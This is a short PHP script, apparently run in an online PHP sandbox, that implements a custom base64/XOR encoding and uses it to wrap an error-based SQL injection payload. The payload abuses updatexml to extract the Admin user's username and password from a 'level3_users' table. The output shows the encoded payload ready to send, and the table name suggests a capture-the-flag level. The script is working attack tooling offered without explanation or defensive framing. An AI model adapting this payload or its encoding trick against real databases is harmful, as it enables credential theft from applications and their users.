<?php
function decrypt ($str)
{
if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
{
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false)
{
$decStr = "";
for ($i=0; $i < strlen($str); $i+=3)
{
$array[$i/3] = substr($str,$i,3);
}
foreach($array as $s)
{
$a = $s^192;
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
echo decrypt("");
print "\n";
function encrypt($str)
{
$cryptedstr = "";
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ 192;
while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}
echo encrypt("' or updatexml(0,concat(0x3a,select concat(username,0x3a,password) from level3_users where username='Admin'),1) or '");
print "\n";
print "\n";
?>
- Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
- MjMxMjI0MTc1MTc4MjI0MTgxMTc2MTY0MTYxMTgwMTY1MTg0MTczMTcyMjMyMjQwMjM2MTYzMTc1MTc0MTYzMTYxMTgwMjMyMjQwMTg0MjQzMTYxMjM2MTc5MTY1MTcyMTY1MTYzMTgwMjI0MTYzMTc1MTc0MTYzMTYxMTgwMjMyMTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQwMTg0MjQzMTYxMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjMzMjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjMzMjM2MjQxMjMzMjI0MTc1MTc4MjI0MjMx
preferences:
305.07 ms | 407 KiB | 461 Q